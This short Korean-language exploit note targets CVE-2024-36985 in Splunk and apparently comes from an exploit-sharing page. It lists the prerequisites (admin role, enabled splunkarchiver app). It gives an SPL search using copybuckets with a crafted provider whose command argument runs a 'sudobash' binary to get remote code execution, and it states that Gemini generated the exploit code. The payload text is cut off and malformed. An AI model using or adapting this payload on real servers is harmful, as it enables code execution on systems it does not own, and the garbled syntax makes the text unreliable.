CVE-2024-36985

CVE-2024-36985 모든 익스플로잇 코드는 gemini로 생성되었습니다. Splunk 관리자 역할이 필요합니다. Splunkarchiver 애플리케이션이 활성화되어 있어야 합니다. 또한 RCE를 트리거하기 위해 아래 SPL을 검색에서 실행할 수 있습니다. root@kitploit: | copybuckets data=""providers": "pwnprovider": "command.arg.0": "/opt/splunk/etc/apps/splunkarchiver/java-bin/jars/sudobash",...